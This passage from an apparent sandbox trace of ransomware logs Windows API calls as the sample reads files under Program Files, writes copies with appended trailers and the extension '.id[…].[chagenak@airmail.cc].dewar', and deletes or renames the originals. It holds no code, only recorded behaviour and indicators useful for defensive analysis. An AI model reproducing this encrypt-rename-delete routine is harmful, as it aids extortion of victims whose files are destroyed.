dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x204 [0260.718] ReadFile (in: hFile=0x1e0, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0x4932, lpOverlapped=0x0) returned 1 [0266.756] WriteFile (in: hFile=0x204, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0x4940, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0x4940, lpOverlapped=0x0) returned 1 [0266.760] WriteFile (in: hFile=0x204, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0266.760] CloseHandle (hObject=0x1e0) returned 1 [0266.760] CloseHandle (hObject=0x204) returned 1 [0266.762] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 0 [0266.762] SetEvent (hEvent=0x118) returned 1 [0266.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0266.764] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=28974) returned 1 [0266.765] CloseHandle (hObject=0x204) returned 1 [0266.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 0x20 [0266.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 0x20 [0266.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0266.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0266.766] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0266.766] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0266.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e0 [0266.769] ReadFile (in: hFile=0x204, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0x712e, lpOverlapped=0x0) returned 1 [0266.775] WriteFile (in: hFile=0x1e0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0x7130, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0x7130, lpOverlapped=0x0) returned 1 [0266.778] WriteFile (in: hFile=0x1e0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0266.779] CloseHandle (hObject=0x204) returned 1 [0266.779] CloseHandle (hObject=0x1e0) returned 1 [0266.780] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 0 [0266.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0266.786] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=34076) returned 1 [0266.786] CloseHandle (hObject=0x1e0) returned 1 [0266.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 0x20 [0266.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 0x20 [0266.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0266.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0266.788] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0266.788] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0266.788] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0268.301] ReadFile (in: hFile=0x1e0, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0x851c, lpOverlapped=0x0) returned 1 [0268.319] WriteFile (in: hFile=0xe0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0x8520, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0x8520, lpOverlapped=0x0) returned 1 [0268.322] WriteFile (in: hFile=0xe0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0268.322] CloseHandle (hObject=0x1e0) returned 1 [0268.323] CloseHandle (hObject=0xe0) returned 1 [0268.330] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 0 [0268.331] SetEvent (hEvent=0x118) returned 1 [0268.332] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0269.734] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=32146) returned 1 [0269.734] CloseHandle (hObject=0x1e0) returned 1 [0269.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 0x20 [0269.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 0x20 [0269.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0269.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0269.735] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0269.735] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0269.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x128 [0269.736] ReadFile (in: hFile=0x1e0, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0x7d92, lpOverlapped=0x0) returned 1 [0269.741] WriteFile (in: hFile=0x128, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0x7da0, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0x7da0, lpOverlapped=0x0) returned 1 [0269.745] WriteFile (in: hFile=0x128, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0269.745] CloseHandle (hObject=0x1e0) returned 1 [0269.745] CloseHandle (hObject=0x128) returned 1 [0269.750] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 0 [0269.751] SetEvent (hEvent=0x118) returned 1 [0269.751] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x128 [0269.752] GetFileSizeEx (in: hFile=0x128, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=12338536) returned 1 [0269.753] CloseHandle (hObject=0x128) returned 1 [0269.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll")) returned 0x20 [0269.753] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0269.754] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll")) returned 0 [0269.756] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x128 [0269.757] GetFileSizeEx (in: hFile=0x128, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=8154984) returned 1 [0269.757] CloseHandle (hObject=0x128) returned 1 [0269.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll")) returned 0x20 [0269.757] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0269.758] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll")) returned 0 [0269.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolui100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x128 [0269.762] GetFileSizeEx (in: hFile=0x128, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=318488) returned 1 [0269.763] CloseHandle (hObject=0x128) returned 1 [0269.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolui100.dll")) returned 0x20 [0269.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolui100.dll")) returned 0x20 [0269.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolui100.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0269.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolui100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.765] SetEvent (hEvent=0x118) returned 1 [0269.765] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x128 [0269.766] GetFileSizeEx (in: hFile=0x128, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=666456) returned 1 [0269.766] CloseHandle (hObject=0x128) returned 1 [0269.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll")) returned 0x20 [0269.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll")) returned 0x20 [0269.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0269.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x128 [0269.767] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0269.768] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0269.768] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x208 [0270.722] ReadFile (in: hFile=0x128, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0xa2b58, lpOverlapped=0x0) returned 1 [0270.749] WriteFile (in: hFile=0x208, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xa2b60, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xa2b60, lpOverlapped=0x0) returned 1 [0271.645] WriteFile (in: hFile=0x208, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0271.645] CloseHandle (hObject=0x128) returned 1 [0271.646] CloseHandle (hObject=0x208) returned 1 [0271.662] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll")) returned 0 [0271.663] SetEvent (hEvent=0x118) returned 1 [0271.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x128 [0273.621] GetFileSizeEx (in: hFile=0x128, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=14873) returned 1 [0273.621] CloseHandle (hObject=0x128) returned 1 [0273.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 0x20 [0273.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 0x20 [0273.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0274.495] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0274.495] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0274.495] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0274.495] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e0 [0274.502] ReadFile (in: hFile=0x208, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0x3a19, lpOverlapped=0x0) returned 1 [0274.508] WriteFile (in: hFile=0x1e0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0x3a20, lpOverlapped=0x0) returned 1 [0274.512] WriteFile (in: hFile=0x1e0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0274.512] CloseHandle (hObject=0x208) returned 1 [0274.512] CloseHandle (hObject=0x1e0) returned 1 [0274.516] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 0 [0274.517] SetEvent (hEvent=0x118) returned 1 [0274.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0274.520] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3251) returned 1 [0274.520] CloseHandle (hObject=0x1e0) returned 1 [0274.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 0x20 [0274.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 0x20 [0274.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0274.521] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), 